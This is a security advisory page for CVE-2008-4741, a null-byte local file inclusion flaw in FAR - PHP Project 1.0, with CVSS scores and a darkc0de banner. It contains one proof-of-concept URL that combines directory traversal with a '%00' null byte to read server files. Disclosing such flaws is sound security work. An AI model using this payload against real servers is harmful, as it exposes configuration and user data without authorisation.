Null Byte Local file Inclusion in FAR - PHP Project version:1.0

2008.08.22

Credit: Beenu Arora

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-4741

CWE: CWE-22

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

 ################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #

################################################################

# Web Application: FAR - PHP Project version:1.0
# Vendor's Address :www.far-php.ro
################################################################


################################################################
Author: Beenu Arora
Address: www.beenuarora.com
################################################################


#Python Dark Scripts: www.beenuarora.com/work.html

################################################################
#Date Found: 21/08/08
#Severity: High
#Security Risk:Null Byte Files Retrieval
#Explaination:It is possible to view the contents of any file (e.g. databases, user information or configuration files) on the web server (under the permission restrictions of the web server user)


#POC: http://localhost/farver/index.php?c=/../../../../../../../../boot.ini%00
#For the POC pic visit: www.beenuarora.com/POC.bmp

################################################################
 ______________________________________________________________________________________
|Greetz: D3hydr8,rascal,rsauron,patrick,baltazar,sinner_01 and rest of team memebers. |
|_____________________________________________________________________________________|

References:

http://marc.info/?l=bugtraq&m=121933211712734&w=2

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Null Byte Local file Inclusion in FAR - PHP Project version:1.0

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.